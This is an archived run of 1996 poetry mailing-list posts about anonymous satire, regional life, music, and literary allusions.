elvis costello is way up there by anybody's standards, even scott walker's

and as for beefheart (who lives in the "hinterlands" by choice), well:

    the stars are matter
    we're matter
    it doesn't matter

i met him at SFMOMA in the eighties --- there was an exhibition of his paintings --- he was squatting against a wall w/ a huge burntout cigar in his mouth, scowling --- seemed so frail and tired --- he noticed me recognizing him and smiled, wch encouraged me to approach him and say how much i'd always admired him --- he said "sometimes it's nice to be recognized" --- i asked him how he'd been and he said "well, chris, a couple weeks ago i was headless at the plaza near the mall w/ drones, but now i'm just fine" --- i took "the mall" to mean all of midtown nyc

though i was past thirty at the time, and shld have known better, i'd always (in spite of my utter devotion to his music) considered him to be some sort of incredibly inspired primitive --- goes to show you

later

---

christopher daniels <[redacted]> 4.15.96 11:40:56 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wuorinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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427. **Allen B. Dye**
Purloined Letter
Tue 16 Apr 1996

dear Dr. Tar & Professor Fether,

1. there is a contemporary usable version of "gothic" or there would be no post-modern architecture: i.e. skyscrapers, like one of my favorites adorning the Pittsburgh skyline, marked by an array of gothic spires. The gothic elements don't _mean_ the same thing that they mean on Notre Dame, but _that's_ the _point_.

i think it works the same way with Poe (II), whose po(e)st-gothicism exists to call attention to the beauty & the ugliness, the impossiblity, & the cruelty of such yearnings as once made "gothic" a viable aesthetic.

2. while... (lucky for me, a woman, _mais non?_) there has been "a transformation in women's roles" since 1850-- how much transformation has there been in the role that the physical attributes of authors sometimes play in the circulation & evaluation of literary texts?

they are not always the critical arena of the "avante-garde" but many literary journals still make practice of publishing, alongside works, photographs of the authors. Wld you argue that _even_ you or i are always above indulging the culturally conditioned responses which attach values to certain moments and aspects of physical appearance.

>From my perspective [& I am not Poe, or not, assignably, -they_ who are
Poe, or even, I think, the 'lunatic' who "thought herself a pinch of
snuff and was truely distressed that she could not take herself
between her finger & thumb"] Poe (II) who (re)introduces questions
of "appearance" into lit-crit of writers male & female, is only drawing
attention to the role that such concerns always unavoidably seem to
play. It is among the unsaids of contemporary lit-crit, a tell-tale
heart.

3. "hermenuetic imposition" _is_ an impossibility.
a Hole never digs itself, or, if it does, its a Hole of
another sort.

4. Tho' my inital impulse was to applaud CF's remark to MW, something to the effect of "...what makes you think you are not always/already locked in a room with..." I reverse now, feeeling that the writer of said "Keynote Address" and MW are not in the same room at all/ever. As the original Poe (Poe I) seems to demonstrate in his essay "Cryptography," communication is based on a system in which the sender & reciever share a decoding ring. (for my purposes, emphasizing the spatial aspects of "ring"--tho' the aural aspects mght also serve...).

this being the case and, borrowing on the metaphors of cyberspace, Wallace is in a room on the eleventh floor of the Abby Victoria & the author of "Keynote" has a room at the Paramount. (or vice versa--not to imply too much by _where_ they are other than, not in the same hotel.)

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428. Daniel Bouchard
Re: Massachusetts
Tue 16 Apr 1996

Chris Stroffolino wrote:

The image of great "liberal" MASSACHUSETTS (the only state that voted for McGovern, etc) turned out to be a sham. What I found on a personal daily bais (I mean basis) was more of the NIMBY type liberal, the "love me love me love me I'm a liberal"---very white, very witch burner decendents.... _____

Chris;

What did you expect? And could you explain NIMBY a bit more? (Not that I don't understand what you mean, but for our entertainment.) Also, what's the difference between "white" and "very white?" Often I am not permitted to understand any whiter-than-thou references.

From my point of view (I grew up in both Philadelphia and Massachusetts) your experiences in Massachusetts limited you from seeing more widely what/who this state is made up of. For one, you lived in Amherst (a.k.a The Happy Valley, where Nimby liberalism is kept alive just as the Beat style of living & writing is kept alive still in many parts of America: FUTILELY) and Cape Cod (working for MASSPIRG of all places! Knocking on tourist's doors looking for money does not endear you to anyone, whether they be Nimby or non-Nimby).

And just as tourists keep an eye out for movie stars in LA, some people come to Boston expecting to spot Authentic Blue-Bloods roaming the Common and discussing the Vote for Women or Abolition, thinking that the antiquated architecture of Beacon Hill holds antiquated folks from an antiquated world.

The country should be glad that at least ONE state voted for McGovern. (I hope, Chris, you are not appropriating Gingrich's term of derision: liberal McGovernik, or whatever.) When I hear the word liberal, I think of Senator Kennedy, who lets the liquor flow liberally.

The Conservative Elite Press still uses the state of Massachusetts as an icon of Liberalism. It's an effective device. But for every Noam Chomsky (well, there's only one of course), there are two dozen John Silbers, at a dime per.

The NIMBY liberals you found in Amherst were no doubt seeking refuge from the real Massachusetts which is liberally populated with New England Rednecks (haven't you ever been to New Hampshire?).

Of course I exaggerate, but the point is that you were running with the nimby crowd or were just seriously unlucky.

[redacted]

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429. **Michael Boughn**
Re: minnesota
Tue 16 Apr 1996

> *But my advice for surving the Midwest, Maria,*
> *is to get yourself a bland husband and a couple of babies and learn to keep your mouth shut.*
>
> *Dodie*

And what's your advice for surviving Walnut Creek, Dodie?

Mike
[redacted]

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430. **Michael Boughn**
Re: malls
Tue 16 Apr 1996

> Glenn Gould would likely have been attracted to the aural cacophony of
> malls. Muzac has changed over the last 10 years and now makes listening to
> several different conversations rather difficult.
> Daniel Salmon ph/fax (649) 4191730 mob (025) 394 311
>
Could be, tho I tend to think they reminded him of the winter
landscape at Lake Simcoe in a certain light.

Mike

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431. **KUSZAI**
why be anonymous?
Tue 16 Apr 1996

I'm not sure there is a controversy surrounding the "Poe"
essays or the DIU pieces, as much as Chris Funkhouser

would have us believe. But given his tendency to advance the condition of anonymous speech, we might look at that a little more closely--what does the desire for anonymity mean given the current space of literature and discussion about literature--which is finally what this is all about, despite the reactionary last-minute claims for a need for social commitment (something which I find disingenuous, given that author's need to remain exempt from a socializing critique).

Carla Billitieri, Stephen Cope, Ben Friedlander, Chris Funkhouser, Belle Gironda, Nick Lawrence, and a few others, are all parties involved in the wave of anonymous postings which began a little over a year ago and continue today in different forms. As has been asserted before, we can't know who the exact author is of a certain post. These writings ask that we read what is offered: satire, critique, analysis, valuation of literature--without the authorial identity that would limit the cause expressed. Indeed, a scattering of responsibility means that the author can evade personal responsibility--which is great if you're going on the job market in a few years and want what Ben Friedlander once described as "plausible deniability". But with such deniability comes a certain amount of tacit consent. By "forwarding" the posts from what Gary Sullivan called the "Auntie Hegemony" last year, each of the above persons may be able to deny having written the posts, but by being involved in such an _acephale_ literary communion, they implicate themselves in the entire activity. They wish to dispose with a certain limiting sense of the author, but the limited scope of the author is a small-fry compared to the cowardly activism of hiding behind "deniability".

It might be worth looking at why this kind of ski-mask poetics exists, why some of the smartest poets (and some of the dumbest!) find it necessary to lob little grenades into the compound of a supposed avant garde (and what a useful purpose that term serves!)--a "scene" (not a community) that has served all of them well. Will Poe write a blurb for Ben Friedlander's Collected? Will Nick Lawrence give Auntie-Hegemony her own section in the upcoming anthology "Chloroform: a esthetic of criticism"? And why does Chris Funkhouser have reason to gripe? It would seem

that all of the people involved would do better to include themselves in the dialog rather than send little pseudonymous ambassadors of ideologies for some reason they're afraid to express in public.

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432. Aldon L. Nielsen
Re: the last straw and the turkey in it
Tue 16 Apr 1996

Geeez, when I was a little boy reading bad poetry in Nebraska, we thought Minnesota WAS the Eastern establishment -- just goes to show ya --

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433. Joe Amato
Re: Purloined Letter
Tue 16 Apr 1996

---

dear allen b. dye, in no particular order:

yeah, i think one can be imposed upon hermeneutically, you bet... i give you a piece of writing, and i tell you this is how i meant it, this is how i think you should interpret it---this in fact constitutes more foreclosure than anything (esp. when the "i" in this latter is more like deus ex machina---i really don't know who the hell i'm talking to, even if i'm *never* really certain)... not that you have to listen to me, and not that there isn't value in such an exchange... so mebbe we should just say it's another (w)hole... but in any case things might not be taken as intended... and since we're talking intentions, i intended to elicit only this latter recognition... if it were me, and if i published something that some folks found gave offense, i'd probably want to know why, i'd probably speak in my defense, yes (given that i can be too testy sob at times), BUT i'd be sure not to try to wish-away any residual harm...

i like your remarks re postmodern architecture, albeit i've never been entirely convinced that "postmodern" as used by architects correlates directly with literary practices... you offer me an intepretation, a nice one, that pertains to how i'm to understand the gothic elements of the pittsburgh skyline... but hell, i've seen batman, yknow?... i get it, really... and in fact allEn poe's points are not pointing up into the sky, and i don't think, i don't think they exist merely to "call attention to the beauty & the ugliness, the impossiblity, & the cruelty of such yearnings as once made 'gothic' a viable aesthetic" (and why is "gothic" in quotes here?)... that is, i don't *think* they're meant merely to call attention to an aesthetic---i think they do in fact also make a few points about specific poets and specific poetries... they are not, that is, simply an example or extension of

postmodern (aesthetic) excess... and mind you, i'm a fan of postmodern excess---albeit this in itself doesn't fully answer to substantive claims...

as to women's roles, physical appearance, etc. and whether in fact allEn poe "is only drawing attention to the role that such concerns always unavoidably seem to play," the "unsaid" of contemporary criticism: again my problem is with "is only drawing attention to"---so now i'm beginning to see a pattern... is this, like, a wish-list of some sort? (yeah, a touch of smartass here, can't help mself)... i mean, allEn poe doesn't "intend" for his gothic to cause any personal harm---"he" is only "drawing attention to" those cultural (?) practices that inflict harm... and allEn poe is similarly not being "cruel" in his gothic stance--"he" is only "call[ing] attention to" such cruelty...

ETC... tres meta, n'est-ce pas?...

this is all too clever & witty, really, i'm feeling like i'm caught in one of alexander pope's nightmares, and i've never really enjoyed riposte, appearances to the contrary... what ends up happening is that ante's are raised, and the entire ordeal results in polarization, character assassination (incl. allEn poe's), etc...

i s'pose attibution may be at the heart of some of my problems with allEn poe... my archaic sensibility about such stuff (and btw, it predates allEn poe's use of 'gothic') tells me that somebody should be taking responsibility for this latter, that somebody or somebodies should be signing a name on the dotted line that says "we, or i, have created this fiction"... at the same time i can readily understand *everybody* jumping on me for this, my predilection... i mean, what's in a name?... and isn't everything fictional?... etc... i can only offer, finally, a too too heavy response by way of audre lorde---which is not offered, btw, as gospel... but for some reason this exchange is bringing it to mind:

i cannot recall the words of my first poem
but i remember a promise
i made my pen
never to leave it
lying
in somebody else's blood.

///

joe

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434. **Joel Felix**
Re: ELMSIE
Tue 16 Apr 1996

> *Content-Type: text/plain; charset="us-ascii"*
> *Date: Tue, 16 Apr 1996 08:48:45 -0500*
> *Gastr Del Sol- I haven't heard much of them but in interviews the vocalist claims to be influenced by Zukofsky, Olson, & Oppen.*
> *--Dan*

David Grubbs is the mainstay of this experimentalist "post rock" group, and yes the
last I heard he was writing a Masters thesis on Zukofsky's "A." But Grubbs is not
working in the same poet/songwriter/visionsary vein that Malkmus (Pavement)
is, however cynically. A musician of astohnishing musicianship, Grubbs works in
Japanese noise forms as well as the acoustic guitar, "singing" rarely. When he does
have lyrics they're notable for extreme subtlety and seem to derive from thinking
about the phenomena of the sentence itself, rather than what that sentence might
say. I think he sings the most on their first album "Serpentine Similar" on, I
believe, Drag City.

joel felix (hi)

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435. **Henry Gould**
Re: anonymous
Tue 16 Apr 1996

Seems like the original EA Poe's send-ups and pseudonymous practical jokes were mostly open secrets - tell me if I'm wrong. Seems only fair that a pseudonymizer should come clean at some point, take off the disguise. There have been times in the history of oppression when anonymous writing was necessary - but at least as prevalent & perhaps more so have been the insidious anonymous attacks in the press on people who were already politically "marked" or endangered. This connection is something maybe the DIUees might want to think about. What I like about the Poe reviews is the inspired mimicry & the persnickety approach to "style" & "tradition" - it's funny! But the actual opinions expressed don't mean much to me, & the anonymity is - exposee-to-be, I suppose.

Getting back to the main subject, however: I, of course, have offended most of the people on this list at some point, but have always been forthright in presenting muhself as is, bona fide, the real and the inevitable & the predictable, the genuine article ("the"), the one & only, the conditioned & commodified & irreversibly straight-jacketed, the deconstructed-in-a-decanter, the o/th/her/s/h/elf, the **+++, the ex post facto lincoln log, the inimitable....--Egbert J. Stanchion

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436. Maria Damon
Re: why be anonymous?
Tue 16 Apr 1996

---

joel kuzai: with all due respect (and that's true), when you say:

> why [do] some of the smartest poets (and some of
> the dumbest!) find it necessary to lob little grenades into
> the compound of a supposed avant garde (and what a useful
> purpose that term serves!)--a "scene" (not a community)
> that has served all of them well[?]

the answer comes to me resoundingly: CUZ IT'S FUN, IMAGINATIVE, CONTESTATORY, etc. hey, when i started receiving the anti-hegemony posts my first thought was, this is cute but totally self-enclosed --no one beyond this handful of avantgardists would even care, so whose hegemony is really being antied? however, now tht i know the "scene" a little better, i think it's fun that some folks are having fun with it. i still don't think waves are being made beyond the shores of this tiny pond (as i've told you, chris, by using the phrase "a bit precious" to describe the diu project and wondering who a wider audience wd be), but within that scene, it's lively, fun, and creative. what's wrong w/ that? the mark of a true scene is if it can handle contestation. lighten up, everyone.

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437. David Kellogg
Orono: need roomie
Tue 16 Apr 1996

A Selfish Plea,

I know a number of people on this list are going to the Orono conference in June. So am I. Does anybody need a roommate? I'd prefer to pay the cheaper rate since I don't know if Duke will foot the bill for me as a lowly adjunct.

Cheers,
David
~~~
~~~

Chris EDGAR was there in the future
and JULIE Patton yes union by Johnny

education being COMPLETE
Walker black, that is this

Thursday in the city
in the usual CITY

↑ Index

440. **Chris Stroffolino**
Re: guided by payment? t(o)eacher Cale. et Richman
Tue 16 Apr 1996

mikl---
yes, cale's "hallelejuh" (sic?) is great, that and RUIN's version of
"famous blue raincoat" my fav. cohen remakes...
but, UGHHHHHHHHHH, Bruce Springsteen--I don't buy his official story about
the "irony" of rightwingers digging PORN IN DUH USA.....
if he really wanted to be "understood" he would have written a different
song.....
did see patti smith this fall....nice comeback....
i don't know if richard hell will ever do music again....cs

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441. **Robert A Harrison**
Re: why be anonymous?
Tue 16 Apr 1996

about anonymity and its tie to the zapatista movement, i have no problem with subcommander marcos and the zapatistas using ski masks. THEY DO LOSE THEIR LIVES if recognized. diu has absolutely nothing to do with the spirit of the zapatista movement, though their tactics, at least on the surface, seem similar. first, the zapatistas reveal truths with their satire, about political corruption, about human dignity. diu does not do this. i get no sense of striving towards or revealing human dignity from the diu project, nor even of revealing corruption. subcommander marcos' humor DOES reveal the resiliancy of an amazing spirit under the worst possible circumstances. my main argument with the diu project is not their use of anonymity, or of satire, it is the sense i get that their focus, in this project, is political on the smallest scale. it'd be one thing if their lives were at risk, or their souls, and if they were making a stand for these. but, even though they claim to be anonymous, my bet is that diu is

bent more toward publication, job getting, and recognition through the diu project than not.

Bob Harrison

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442. Michelle Roberts
Re: diu
Tue 16 Apr 1996

On Fri, 12 Apr 1996, Robert A Harrison wrote:

> I don't quite see the point
> in ending every issue with acknowledging "the final days of the white race."
> Seems to me that race based reasoning is what needs to finalized, not any
> particular race.
>
> Bob Harrison
>
Exactly. That sort of rhetoric and reasoning is simply divisive, reactionary and uninteresting.
While it's likely that the "White Race" (as if there aren't different etnicities within it) as a cultural force will see some changes in its position in the world, calling that an "end" is about as interesting as the death of man.

Meaghan

↑ Index

443. Lisa Samuels
The future of communication (fwd)
Tue 16 Apr 1996

---

some of you may find this as delightful as i did,
smiling then laughing...

lisa s.

> *Having chosen English as the preferred language in the European Union (EU), the European Parliament has commissioned a feasibility study in ways*
> *to improve efficiency in communications between Government departments.*
>
> *European officials have often pointed out that English spelling is unnecessarily difficult. What is clearly needed is a phased program of*

changes to iron out the anomalies. The program would be administered by a
committee apointed by the participating nations.

In the first year, for example, the committee might suggest using "s"
instead of the soft "c". Sertainly, sivil servants in all sities would
resieve this news with joy. The hard "c" could then be replased by "k"
sinse both letters are pronounsed alike. This would klear up a lot of
konfusion in the minds of klerikal workers.

In the sekond year, bekause of growing enthusiasm, "ch" would be replaced
by "c". This would make words like "switc" 20% shorter. Similarly, it
will be announsed that the troublesome "ph" would henseforth be replaced
by "f".

In the third year, publik akseptanse of the new spelling kan be expekted
to reac the stage where more komplikated canges are possible. Governments
would enkourage the removal of double letters which have always ben a
deterent to akurate speling.

We would al agre that the horible mes of silent "e"'s in the languag is
disgrasful. Therefor, we kould drop thes and kontinu to read and writ as
though nothing had hapend.

By this tim it would be four years sins the skem began, and peopl would be
reseptiv to steps suc as replasing "th" by "z". Perhaps zen ze funktion
of "w" kould be taken on by "v", vitc is, after al, half a "w".

Finaly, ze unesesary "o" kuld be dropd from words kontaining "ou". Similar
arguments vud of kors be aplid to ozer kombinations of leters.

Kontinuing zis proses yer aftr yer, ve vud eventuli hav a reli sensibl
riten stil. Aftr tventi yers zer vud be no mor trubls or difikultis and
evrion vud find it ezi tu understan esh ozer. Ze drems of ze EU vud finali
kom tru.

-

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444. Jeffrey W. Timmons
Re: Place
Tue 16 Apr 1996

sheila

hey! nice to hear from you. i wondered if wed get around to this. and yes i agree with you and your descriptions of the desert. its just that my experience of this place is . . . well . . . probably different than yours. its interesting that such variation can occur in perception experience place you know? i believe in the desert. i just wish i could get more of it. i live by papago park and i used to live by south mountain. great places to see the desert and the sprawl sort of coexisting or even struggling with each other. but theyre the only desert i get to see really. i dont drive and here im sure you know thats a liability. particularly when it comes to the quiet you and i seem to value so much. and whats worse is that for me and this is tempe specific there is no quiet . . . or when there is its always so precious. i live in the flight path of the airport. ug. and if its not the planes its the dogs. i practically live in a kennel. and when its not those two its the bar thats nowhere near my house that features heavy metal bands. and recently its the reconstruction of water pipes in the neighborhood. its gotten so that not only can i not read during the day but i cant sleep at night.

ok so this is a big long complaint. sorry. i like it here. its just that phx for me seems very different--as im sure all places are--depending on where youre standing or living. even a difference of a few square yards makes a big difference.

but you know i treasure the desert--where and when i can experience it. i was riding at south mountain the other day and saw my first rattle snake. and ive become a real birder since ive moved here. i have three feeders in my back yard and love to see the doves and sparrows and finches and thrashers and the mockingbirds and the woodpeckers and wrens....

but like all places its got good and bad in it. riding to classes today i noted the big brown cloud over phx. ug. but the wind on my skin was so nice and warm.

well ive gone at length now. im not disagreeing with you just trying to figure out how we can have these different experiences of the same place. i really appreciate your writing to me.

best,

jeffrey timmons

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445. **Michelle Roberts**

Re: minnesota

Tue 16 Apr 1996

On Mon, 15 Apr 1996, Eryque Gleason wrote:

> >But my advice for surving the Midwest, Maria,
> >is to get yourself a bland husband and a couple of babies and learn to keep
> >your mouth shut.
> >
> >Dodie
>
>
> to which i could add: get one o' them
> cut-off-above-the-shoulders-'bob'-or-what-ev-er-they-call-em haircuts every
> eight months.
>
> oh, and find a driveway to have re-tarred every other time you cut your hair.
>
> eryque
>

OK folks, what is all this lamenting??? You don't live in a shack in a ghetto outside Bangladesh, so what is wrong with the Midwest? I'm not interested in defending the area per se, but you see, I grew up under the wide skies, riding horses, driving on country roads, going to pently of museums, and I realized early that not every city is Paris, and not every city can have a Louvre and a poets' graveyard. I got my masters in Normal Illinois, and I thought that really was the end of the world (one interesting bar, no museum) until I figured out how many writers live there. It's the second largest community of writers in Illinois (second to Chicago of course.) I now live in Dallas, several museums, huge poetry scene (if you like drinking coffee while someone yells at you), tons of music, a great farmers market -- I could say the same for St. Louis where I went to high school. My question is this, why are you indoors, crabbing about what a lousy place you live in? Go outside. I've been to San Francisco, it's pretty, but that 60's hangover really turned me off.

Cheer up and go play,
Meaghan

↑ Index

446. Jeffrey W. Timmons
darkly wise
Tue 16 Apr 1996

---

i wasnt following the thread that mentioned the phrase "darkly wise" ... but did they--who was they?--ever figure out who wrote it?

i was reading popes (i keep typing poop) essay on may and its in there: something about "man" being darkly wise and rudely great or something.

jeffrey timmons

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447. Michelle Roberts
Re: malls
Tue 16 Apr 1996

As to malls, those and the nightlife in the artsy parts of town are the best people watching in America. No Palazzo -- a mall. A place is as much how you use it and it is its architect's intention.

Meaghan Roberts | ... in our interpreted world...
Ph.D. Candidate - Ethics and Literature |
The University of Texas at Dallas |
[redacted] |

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448. Kevin Killian
SPT book consignments
Tue 16 Apr 1996

Do you have books consigned at Small Press Traffic?

Due to the changing funding climate, we at Small Press Traffic have decided that our goal of making small press publications available to the public will better be met by ceasing operations as a bookstore and by re-inventing ourselves as a literary resource center-as a non-circulating library, open to all, regardless of income. Unfortuantely, we do not have the resources to return the thousands of books consigned to us.

Consigned books may be picked up Saturday, April 27 from noon to 4 p.m. at Mission Neighborhood Waldorf Kindergarten, Suite 135, Centro del Pueblo, 474 Valencia Street, SF

Questions, call: 415/[redacted]. If no one answers and you're connected to a switchboard instead of directly to our voicemail, enter extension 454 at the prompt.

Anyone on this list who doesn't live in the Bay Area and has books consigned with us, you can e-mail me backchannel and we'll see if we can make you a special case.

Dodie Bellamy
Director
Small Press Traffic

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449. **Jordan Davis**
Re: Ziolkowski's "Our Son the Arson" is out
Tue 16 Apr 1996

Gee I hope I sent you my request for our son.
Send me bill me to

> Jordan Davis
> c/o Teachers & Writers
> 5 Union Sq W 7th Fl
> NY NY 10003-3306

Thank you thank you,
Jordan

↑ Index

450. **Daniel Bouchard**
Re: malls
Tue 16 Apr 1996

When Pound found something outrageous in a book, wouldn't he write "Malls" in the margin with many exclamation points?

[redacted]

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451. **Jeffrey W. Timmons**
Re: minnesota
Tue 16 Apr 1996

On Tue, 16 Apr 1996, Michelle Roberts wrote:

"I now live in Dallas, several museums, hugepoetry scene (if you like drinking coffee while someone yells at you), tons of music, a great farmers market -- I could say the same for St.Louis where I went to high school. My question is this, why are you indoors, crabbing about what a lousy place you live in? Go outside.I've been to San Francisco, it's pretty, but that 60's hangover really turned me off."

michelle we _are_ cheerful. you should see us when were in a bad mood! but dallas? ug. i went to utd for a short time and was lucky to make it out alive. even then i had to drive for days just to get out of texas. dallas seems to me to have all the character of a fastfood restaurant. too humid too many mosquitoes too republican and you had to drive all the way to downtown just to find deep ellum (sp?) and then you might miss it if you didnt know where to look. im just giving you a hard time you know. but really. between sf and the big d which has a better sense of place for you? sf has something d will never have. character and soul. 60s hangover? that _is_ part of sf. thats like telling manhattan to lose the attitude. better to let it have and be what it is than suggest revisions in the locational and spiritual fibe of the city. if we lost the "60s hangover" (a characterization that tells me more about you than about sf) wed lose sf.

jeffrey timmons

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452. **Emily Lloyd**
Re: diUSOPollock
Tue 16 Apr 1996

Meaghan wrote:
>calling that an "end" is about as interesting as
>the death of man.

I thought "man" was already dead, slayed by "human."

hear hear Maria, on your "lighten up"
& I don't recommend Virginia to anyone

did Jackson Pollock call a painting "Full Fathom Five" ?

USOP just played here. Eigner breathtaking. Woman who ate raisinets one by one wonderful. Spanish on one side, contradictory English on other side great. It was odd to me, though, that in a series seemingly committed to diverse representations, we had the "sex" segment w/intergenerational gayboy love, interracial het love, & no dykes. Were we all too busy having sex when that segment was taped?

~~~
~~~

it crashed and splintered on the curb.

he saw me the same instant and i yelled "now pick it up!" and "who taught you how to do that?"

he ran over saying "ok" and started to pick up the pieces.

i hurried to the kitchen and got a plastic sack. i went out and told him to be careful not to cut himself. "dont throw bottles in my yard" i told him.

he walked by later with his sitter. he said "hi!"
i said "hi."

i rode by them on my way out. went up the golf course trails north past the ponds and there not many people were out which made it nice.

it was hot and my skin felt the burning heat of the sun.
i rode hard against the wind. sweating.

i turned west and rode over to the trail that cuts by papago park.

the bougainvilla was flush with red.
there are these trees with little golden balls all over them.
pink cactus blooms.
orange wild flowers.
and two or three varieties of yellow flowering trees and shrubs.

from the hills the yellow punctuates the green and the pink rock of papago.

along the trail i slowed to look into the black eyes of a thin cottontail.

caught several quail trying to escape into the gardens. they mingle bold calls with avoidance.

a shy bird (i wish i knew who) always in the margins of sight.

the dogs of the desert (jackrabbits) lopping around.

quiet.

but once i get to the park the millions of sparkling shards of glass refracting the suns sharp light shocks me.

more glass than rabbits.

> *more glass than rocks.*
>
> *i push to the top of a hill greeted by two cans of . . . an empty*
> *egg carton a bottle of . . . .*
>
> *i yell "pick up your fucking trash after yourselves!"*
> *the wind absorbing my words tossing them into air.*
>
> *then i pick it up for them. more just beyond my efforts.*
>
> *the mountain goats at the zoo surveying the mess too.*
>
> *i went home. took a cold shower. made dinner. watered the lawn. made*
> *a special effort to revive the front lawn because its almost dead.*
>
> *reading freneau i hear music coming from my*
> *front yard. going to my window again i find one (but who can count the*
> *numbers of people who come and go there) of my neighbors entertaining:*
> *drinking beer-bud light--and listening to their car stereo right in front*
> *of my house.*
>
> *they ask if its alright. fine i say. just dont leave your cans. and*
> *they turn down the stereo. which was nice.*
>
> *a bit later something draws me out again to the window. the couple are*
> *arguing. something breaks. i look out in the dark and ten cans are*
> *strewn and crumpled in my lawn.*
>
> *i get my boots on.*
>
> *i get another plastic sack go outside and start to pick them up. the*
> *woman says "its ok its ok" and leaves. the guy is like "mana mana" (cant*
> *spell that right on email). one of the kids--also innumerable--helps*
> *pick up the cans. the car starts up and leaves.*
>
> *i live in a trashy neighborhood. literally.*

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455. **Alan Sondheim**

Re: minnesota

Tue 16 Apr 1996

Jeffrey, Jeffrey, I lived in Dallas for two years and go back a lot and there's nothing like Deep Ellum or Lower Greenville for that matter; the clubs are great, there's an arts community, some intersting writing, and some excellent video artists. As far as the North North Dallas crowd, I ignore/d them, but then I have the same feeling about Westchester....

Alan

With some new texts and image files -
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Other images at http://www.cs.unca.edu/~davidson/pix/

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456. **Joe Amato**
Re: why be anonymous?
Tue 16 Apr 1996

> *the mark of a true scene is if it can handle contestation. lighten up, everyone.*

maria, i can't exactly disagree with you here, yknow... but on the other hand, being as how i'm not really a part of any specific community 'cept this one, poetically speaking (which means i'm overlapping, again, in so many ways, in so many communities), there's this annoying sort of outsider-insider innuendo in the allEn poe stuff, and diu at times, that grates on me... there's a presumption in it, that is, that the 'joke' is understood as such, and in specific way... which (1) it may not be---as a joke, i mean, and (2) even if it is, tends to be exclusive, given my marginal status... it's not being excluded that i find annoying, either... it's that there's clearly no regard for the effect it produces outside perhaps of a relatively small circle, and i'm not certain it's appreciated within this latter... and the anonymous quality don't help things any...

i s'pose it's time to hear from *somebody* who's been roasted by allEn poe... or perhaps to ask why (correct me if i'm mistaken here) nobody who has been roasted has posted in re their feelings... who knows?---mebbe i've got my head up my ass, and nobody's feelings are being hurt, and the vast majority enjoys the parody, or whatever (not that i'm necessarily with the majority, but if what i have to say is *that* idiosyncratic, i can't see as how i'm doing much good bothering mself and others so)...

anyway, i've always thought i had some hard bark on me, but i have to resist advocating same for everybody... still, i believe there's simply gotta be some feelings at stake in alla this critique, someplace...

all best//

joe

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457. Maria Damon
Re: Orono: need roomie
Tue 16 Apr 1996

sorry david i only share rooms w/ male-type guyzies i know very very well, but i've got the same question. any nonsmoking chick-type guyzies out there willing to share a room w/ same?--maria d

↑ Index

458. Jeffrey W. Timmons
Re: darkly wise
Tue 16 Apr 1996

On Tue, 16 Apr 1996, Emily Lloyd wrote:
>
> That was me, Jeffrey. My god. Pope? No wonder I never came across it
> again! Is it a fairly short little thing? If so, could you backchannel it
> to me? much rude & great thanks, em

Emily, yes, pope! Funny how this stuff permeates our (un)consciouness and erupts from virtually nowhere, t'aint it? i came across it studying for my comps and it was just after your thread on this. i want to say its original with pope but being as the whole essay is a revisioning of paradise lost the phrase may actually occur there as well. but someone else will have to find that for you.

darkly wise, and rudely great my self,

jeffrey timmons

EPISTLE II
OF THE NATURE AND STATE OF MAN WITH RESPECT
TO HIMSELF, AS AN INDIVIDUAL

Know then thyself, presume not God to scan,
The proper study of mankind is man.
Plac'd on this isthmus of a middle state,
A being darkly wise, and rudely great:
With too much knowledge for the sceptic side,
With too much weakness for the Stoic's pride,
He hangs between; in doubt to act, or rest;
In doubt to deem himself a God, or beast;
In doubt his mind or body to prefer;
Born but to die, and reas'ning but to err;
Alike in ignorance, his reason such,
Whether he thinks too little or too much:
Chaos of thought and passion, all confus'd;

Still by himself abus'd or disabus'd;
Created half to rise, and half to fall;
Great lord of all things, yet a prey to all;
Sole judge of truth, in endless error hurl'd:
The glory, jest, and riddle of the world!

↑ Index

459. **Sheila E. Murphy**
Re: Place/fractures
Tue 16 Apr 1996

Thanks, Jeffrey, for sharing what accompanies the broken glass, plus all the snowflake variable shards and what is expended in picking them up. Perhaps the opposite of selection is that default reflex that responsibility assigns.

You make a specific shard of Phoenix very real. Believe it or not, I've had some of the same preoccupations this very day, this very morning, and keep fantasizing/visualizing/pretending? that I'm making any headway. So I think I am.

Glad you're here, not very far away at all.

Sheila

↑ Index

460. **Jordan Davis**
E-L-M-S-L-I-E
Tue 16 Apr 1996

---

argh I really shouldn't send again but
that's mystification and gastr's good sure
tony conrad opened ffor them by the way you
buffalofolk at the knitting ffactory
lyrically ahem they're about the same pitch
as the red krayola and that's a 60s hangover
you might enjoy having
                mirror repair
and the harp factory on lake street are good
thinking about the sentence though that and
a dollar and a half will still require you
to have good taste.. no more animal testicles
in your songs please--Jd

↑ Index

461. **Emily Lloyd**
Re: darkly wise
Tue 16 Apr 1996

Ah, looked up the Pope myself & his darkly wise isn't the darkly wise I remember--someone who came after him, probably, making fun...

~~~
~~~

464. **Maria Damon**
Re: why be anonymous?
Tue 16 Apr 1996

okay joe it's true, as an easily hurt person, i can sympathize w/ yr protest of DIU's satire. but then let's have some discussion about that, rather than attacking them on principle and insinuating (not you, but some others have) that everything is careerist-oriented. diu's authorship is, it seems, a kind of open secret, a fun, sometimes insightful, sometimes silly, sometimes obnoxious epiphenomenon of the POETRICKS scene. maybe i just haven't been roasted yet...i'll let you know about my hurt feelings when it happens, you can bet on that... md

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465. **Maria Damon**
Re: minnesota
Tue 16 Apr 1996

what's a "60s hangover?" a belief in justice? in affirmative action? bright colors? non-competitive enjoyment of life? a fascination with the workings of the mind? alternate states of consciousness? long hair on guys? valorization of informality? street demonstrations? drumming sessions in public spaces?

↑ Index

466. **Wystan Curnow**
Re: Place
Tue 16 Apr 1996

